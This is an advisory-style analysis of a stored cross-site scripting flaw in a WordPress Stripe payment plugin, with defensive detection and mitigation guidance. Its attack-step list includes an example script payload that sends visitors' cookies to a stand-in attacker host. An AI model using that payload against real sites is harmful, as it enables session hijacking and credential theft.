CVE-2026-0751: 
WordPress vulnerability analysis and mitigation

CVE-2026-0751 is a Stored Cross-Site Scripting (XSS) vulnerability in the Payment Page | Payment Form for Stripe plugin for WordPress. It affects all versions up to and including 1.4.6, stemming from insufficient input sanitization and output escaping of the pricing_plan_select_text_font_family parameter. Authenticated attackers with Author-level access or above can inject arbitrary web scripts into pages that execute when any user visits the affected page. It carries a CVSS v3.1 base score of 6.4 (Medium) (Red Hat CVE, Wordfence).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable parameter pricing_plan_select_text_font_family is not properly sanitized before being stored in the database or escaped before being rendered in the browser, allowing malicious script content to persist and execute in victim browsers. Exploitation requires an authenticated session with at minimum Author-level WordPress privileges, and no further user interaction beyond visiting the injected page is needed for the payload to trigger (Red Hat CVE, Wordfence).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user who visits a page containing the injected payload, including administrators. This can lead to session token theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), defacement, or redirection to malicious sites. While availability is not directly impacted, the confidentiality and integrity of user sessions and site content are at risk (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for Author-level authentication, limiting the attack surface compared to unauthenticated vulnerabilities (Wordfence).

1. Reconnaissance: Identify WordPress sites running the Payment Page | Payment Form for Stripe plugin at version 1.4.6 or earlier using tools like WPScan or by inspecting plugin directories.
2. Obtain Author-level access: Register or compromise an account with at least Author-level privileges on the target WordPress site.
3. Locate the vulnerable parameter: Navigate to the plugin's payment form or page configuration settings and identify the pricing_plan_select_text_font_family field.
4. Inject malicious payload: Enter a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the pricing_plan_select_text_font_family parameter and save the configuration.
5. Trigger execution: When any user (including administrators) visits the page containing the injected configuration, the stored script executes in their browser, enabling session hijacking, credential theft, or further attacks (Red Hat CVE, Wordfence).

• Logs: WordPress access logs showing POST requests to plugin settings pages (e.g., /wp-admin/admin.php?page=stripe-payment) containing script tags or encoded JavaScript in the pricing_plan_select_text_font_family parameter.
• Database: Unexpected <script> tags or JavaScript URIs stored in the WordPress database within plugin-related option rows (e.g., wp_options table entries associated with the Stripe Payment plugin).
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting payment-related pages, potentially indicating cookie or credential exfiltration.
• File System: Unexpected modifications to plugin configuration files or the presence of obfuscated JavaScript in plugin template files.

Users should update the Payment Page | Payment Form for Stripe plugin to a version beyond 1.4.6 that includes a fix for this vulnerability. Until a patched version is available or applied, site administrators should restrict Author-level and above user accounts to trusted individuals only, and consider temporarily disabling the plugin. Implementing a Web Application Firewall (WAF) with XSS filtering rules (such as Wordfence) can provide an additional layer of protection (Wordfence).

Wordfence included this vulnerability in their weekly WordPress vulnerability report for February 9–15, 2026, highlighting it as part of a broader set of plugin vulnerabilities tracked that week (Wordfence). No significant independent researcher commentary or notable social media discussion has been identified beyond standard vulnerability aggregator coverage.